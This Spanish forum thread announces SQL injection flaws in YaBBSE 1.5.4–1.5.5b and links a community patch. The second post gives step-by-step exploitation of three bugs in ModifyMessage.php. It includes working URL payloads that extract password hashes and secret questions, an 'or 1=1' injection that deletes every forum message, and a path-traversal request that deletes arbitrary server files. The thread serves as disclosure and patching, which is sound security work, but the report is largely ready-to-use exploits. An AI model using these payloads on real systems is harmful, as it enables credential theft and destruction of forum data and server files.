Varios agujeros en YaBBSe 1.5.4, 1.5.5 y YaBBSe 1.

Estado
Cerrado para nuevas respuestas

jbex

El que peca y reza empata
Administrador
#1
La noticia es que Alnitak junto a BackSpace han encontrado varios agujeros en YaBBSe 1.5.4, 1.5.5 y YaBBSe 1.5.5b y probablemente las versiones anteriores también estén afectadas.

Los agujeros se encuentran en el fichero ModifyMessage.php y es vulnerable al menos de tres formas a una inyección de código SQL.

BackSpace, esta trabajando ahora mismo en la Documentación de los bugs, pero a tenido la deferencia de enviarme el archivo ModifyMessage.php con los agujeros parcheados por ellos.

Así que si tienes un foro YabbSE aquí te dejo la descarga para que lo parchees:

YabbSE1.5.5 patch

Resaltar que es la segunda vez que un miembro de esta Web, encuentra un agujero, ya que hace poco tiempo Alnitak junto a Cobac, encontraron varios agujeros en los portales de asp-nuke, procediendo a corregir dichos agujeros y reforzando su seguridad con la inclusión de una base de datos encriptada en MD5.

Un saludo, jbex.

PD: En breve se publicará el informe completo de los bugs creado por BackSpace
 

alnitak

Ex-Admin
Miembro
#2
Informe de varios agujeros en YaBBSe 1.5.4, 1.5.5 y YaBBSe 1.5.5b probablemente anteriores versiones son vulnerables.

Los agujeros se encuentran en el fichero ModifyMessage.php

EL HUECO

el primer agujero es una inyección SQL, debido a que en la función ModifyMessage no se chequea el parámetro $msg para que no contenga valores no válidos.

Alcance de la vulnerabilidad.

Extracción de información de la base de datos.

Como explotar la vulnerabilidad:

1- Necesitas ser un usuario registrado y necesitas conocer el prefijo de la base de datos. Por defecto es yabbse_

2- Entra en cualquier board. ej. Dudas Generales

3- Entra en cualquier mensaje.ej. POSTS MOVIDOS

4- Ahora podemos hacer varias cosas por ejemplo usar el botón "cita:"

o mirar el código fuente en busca de la variable sesc.

5- Luego modificamos la URL para que quede algo parecido a esto: http://vulnhost/foro/index.php?board=1;act...e+ID_MEMBER=1/*

Explicación de los parámetros lo que esté entre [] son comentarios y hay que quitarlos de la URL

http://vulnhost/foro/index.php?board=1;act...fb982a1;msg=-12[Numero negativo para que no nos devuelva ningún mensaje])+UNION+SELECT+3[ID del mensaje puede ser cualquier cosa],null,2[Nuestro ID de usario],concat(passwd,%27-%27,secretQuestion),null,null,null,null,null,null,null,null,null,null,null,null+FROM+yabbse_members+where+ID_MEMBER=1[ID del usuario del que extraeremos el hash y la pregunta secreta]/*

y ya está. En el campo subject del formulario nos aparece el hash del password nuestra pregunta secreta ej.

e320774659b1b23333bd033754d2ac1a-color negro.

Porque sucede esto:

Al no ser chequeada la variable $msg, esta se inserta en la sentencia SQL
$request = mysql_query("SELECT m.*, t.locked FROM {$db_prefix}messages AS m, {$db_prefix}topics AS t WHERE (m.ID_MSG=$msg AND m.ID_TOPIC=t.ID_TOPIC) LIMIT 1;") or database_error(__FILE__, __LINE__);

con el parámetro msg que le pasamos a la URL anterior
msg=-12)+UNION+SELECT+3,null,2,concat(passwd,%27-%27,secretQuestion),null,null,null,null,1,null,null,null,null,null,null,null+FROM+yabbse_members+where+ID_MEMBER=1/*

la sentencia SQL nos queda asi.
Insertar CODE, HTML o PHP:
SELECT m.*, t.locked FROM yabbse_messages AS m, yabbse_topics AS t WHERE (m.ID_MSG=-12) UNION

SELECT 3,null,2,concat(passwd,'-',secretQuestion),null,null,null,null,1,null,null,null,null,null,null,null

FROM yabbse_members where ID_MEMBER=1/* AND m.ID_TOPIC=t.ID_TOPIC) LIMIT 1;
todo lo que queda detrás de /* se omite, esto es una característica del MySQL.

EL HUECO RELOADED

el segundo agujero es otra inyección SQL, en la función ModifyMessage2.

No se chequea el parámetro $postid

Alcance de la vulnerabilidad.

Borrado de datos.

1- Necesitas ser un usuario registrado. Y necesitas haber posteado el ultimo mensaje.

2- Ve a tu mensaje y pulsa el botón modify

3- Tendrás algo parecido a esto http://vulnhost/foro/index.php?board=1;act...3e9e2314fb982a1

4- Cambiar donde dice action=modify por action=modify2 y agregar tres variables nuevas

subject=texto, message=texto y waction=deletemodify

5- Agregar el postid vulnerable: postid=1+or+1=1+ORDER+BY+ID_MSG+DESC/* nos quedará:
http://localhost/yabbse/yabbse155/index.ph...Y+ID_MSG+DESC/*

Esto borrará todos los mensajes del foro.

Porque sucede esto:

Al no ser chequeada la variable $postid, esta se inserta en la sentencia SQL
Insertar CODE, HTML o PHP:
   $request = mysql_query("

         SELECT m.ID_MSG, m.ID_MEMBER, m.attachmentSize, m.attachmentFilename, t.locked, t.ID_FIRST_MSG, t.ID_LAST_MSG, t.ID_TOPIC, t.ID_POLL, t.numReplies, b.ID_BOARD, b.count

         FROM {$db_prefix}messages AS m, {$db_prefix}topics AS t, {$db_prefix}boards AS b

         WHERE m.ID_MSG=$postid

            AND t.ID_TOPIC=m.ID_TOPIC

            AND b.ID_BOARD=t.ID_BOARD

         LIMIT 1;"
la sentencia SQL con nuestra modificación queda asi:
Insertar CODE, HTML o PHP:
SELECT m.ID_MSG, m.ID_MEMBER, m.attachmentSize, m.attachmentFilename, t.locked, t.ID_FIRST_MSG,

t.ID_LAST_MSG, t.ID_TOPIC, t.ID_POLL, t.numReplies, b.ID_BOARD, b.count

FROM yabbse_messages AS m, yabbse_topics AS t, yabbse_boards AS b

WHERE m.ID_MSG=1 or 1=1 ORDER BY ID_MSG DESC/* AND t.ID_TOPIC=m.ID_TOPIC AND b.ID_BOARD=t.ID_BOARD LIMIT 1;
todo lo que queda detrás de /* se omite

Necesitamos que nuestro mensaje sea el último para que funcione nuestra inyección ya que sino, no funcionaria esta parte m.ID_MSG=1 or 1=1 ORDER BY ID_MSG DESC y necesitamos el "or 1=1" en otra sentencia para que borre todos los mensajes.Al hacer el "ORDER BY ID_MSG DESC" nos aseguramos que el chequeo:
Insertar CODE, HTML o PHP:
   if ($row['ID_MEMBER'] != $ID_MEMBER && $settings[7] != 'Administrator' && $settings[7] != 'Global Moderator' && !in_array($username, $moderators))

      fatal_error($txt[67]);
sea correcto y podamos seguir adelante. Una vez conseguido esto, se borra nuestro mensaje ya que se hacen deletes con el primer resultado de la sentencia anterior que como le pusimos el ORDER DESC será nuestro mensaje. Y luego se llega a la parte que nos interesa que es la que causa la vulnerabilidad.
$request = mysql_query("DELETE FROM {$db_prefix}messages WHERE ID_MSG=$postid LIMIT 1;")
Aqui se le pasa nuestro postid y la sentencia final quedará asi: DELETE FROM yabbse_messages WHERE ID_MSG=2 or 1=1 ORDER BY ID_MSG DESC/* LIMIT 1; que es una sentencia totalmente legal y lo que hace es borrar todos los mensajes de la base de datos.

EL HUECO REVOLUTIONS

El tercer agujero es otra vulnerabilidad en la misma función. Esta vez es utilizando la vulnerabilidad anterior del $postid y ademas porque se asume que la variable $attachOld es buena y que viene de un formulario anterior.

Ocurre porque en la funcionalidad de borrar attachments de mensajes no se chequea que el fichero a borrar se encuentre dentro del path de los attachments. Esta vulnerabilidad es la mas grave de las tres porque te permite borrar cualquier fichero conociendo el path, pero ademas te puede dar información acerca de la estructura de directorios del servidor.

Alcance de la vulnerabilidad.

Borrado de ficheros y extracción de información de directorios.

Como explotar la vulnerabilidad:

1- Necesitas ser un usuario registrado. Y saberte tu id de usuario.

2- Si tienes un mensaje posteado ve a ese mensaje y pulsa modify, si no tienes un mensaje ve a otro cualquiera y pulsa "cita".

Para continuar necesitaras un proxy tipo Paros o Achilles. También lo puedes hacer de otro modo pero es mas fastidioso así que lo explico a lo fácil. Con el paros chequea el Trap Request.

3- Presiona el preview y ahora vete al paros y en la linea donde dice POST /foro/index.php?board=1;action=post2 HTTP/1.0 cambialo por POST /foro/index.php?board=1;action=modify2;delAttach=on;attachOld=../../../../borrame.txt;subject=hola;message=hola;postid=-1+UNION+SELECT+null,3,null,null,null,null,null,null,null,null,null,null/* HTTP/1.0
si te sale un error de Bases de Datos es porque el fichero se ha borrado correctamente.

Si no se pudo borrar te saldrá un error parecido a esto.
Insertar CODE, HTML o PHP:
2: unlink(C:/xampp/htdocs/yabbse/yabbse155/attachments/../../../../borrame.txt): No such file or directory

(C:\xampp\htdocs\yabbse\yabbse155\Sources\ModifyMessage.php ln 319)
Fijense que muestra la estructura de directorios. Información muy valiosa.

Explicación de los parámetros lo que esté entre [] son comentarios y hay que quitarlos de la URL
/foro/index.php?board=1;action=modify2;delAttach=on;attachOld=../../../../borrame.txt[Camino del fichero a borrar];subject=hola;message=hola;postid=-1+UNION+SELECT+null,3[TU ID de usuario],null,null,null,null,null,null,null,null,null,null/*

Porque sucede esto:

Al no ser chequeada la variable $postid, esta se inserta en la sentencia SQL
Insertar CODE, HTML o PHP:
   $request = mysql_query("

         SELECT m.ID_MSG, m.ID_MEMBER, m.attachmentSize, m.attachmentFilename, t.locked, t.ID_FIRST_MSG, t.ID_LAST_MSG, t.ID_TOPIC, t.ID_POLL, t.numReplies, b.ID_BOARD, b.count

         FROM {$db_prefix}messages AS m, {$db_prefix}topics AS t, {$db_prefix}boards AS b

         WHERE m.ID_MSG=$postid

            AND t.ID_TOPIC=m.ID_TOPIC

            AND b.ID_BOARD=t.ID_BOARD

         LIMIT 1;"
la sentencia SQL con nuestra modificación queda asi:
Insertar CODE, HTML o PHP:
SELECT m.ID_MSG, m.ID_MEMBER, m.attachmentSize, m.attachmentFilename, t.locked, t.ID_FIRST_MSG, t.ID_LAST_MSG,

t.ID_TOPIC, t.ID_POLL, t.numReplies, b.ID_BOARD, b.count

FROM yabbse_messages AS m, yabbse_topics AS t, yabbse_boards AS b

WHERE m.ID_MSG=-1 UNION SELECT null,3,null,null,null,null,null,null,null,null,null,null

/* AND t.ID_TOPIC=m.ID_TOPIC AND b.ID_BOARD=t.ID_BOARD LIMIT 1;

el -1 hace que no nos devuelva nada legal y el

postid=-1+UNION+SELECT+null,3[TU ID de usuario],null,null,null,null,null,null,null,null,null,null/*
hace que el resultado sea el que nosotros queremos, la ventaja es que no tenemos que conocer el prefijo de la base de datos, ya que SELECT null,3,null,null,null,null,null,null,null,null,null,null es una sentencia perfectamente legal en MySQL que devuelve parámetros estáticos.

Estado del vendedor:

Viendo como se comportaron los desarrolladores de YabbSE la última vez que les mandé un informe de vulnerabilidad, que en un mes no hicieron nada por sacar un parche de una línea de código y lo sacaron varios dias después de que fuera publicada la vulnerabilidad. Además viendo como se dedicaron a borrar todos los post en su foro que hablaban del tema.

Hemos decidido sacar un parche por nuestra cuenta y pasar de avisarles de nada.

Los parches pueden ser descargados de: https://www.trucoswindows.net/descargas/yabbse-1-5-5-patch/

Créditos para:

Alnitak y BackSpace
 
Estado
Cerrado para nuevas respuestas
Arriba Pie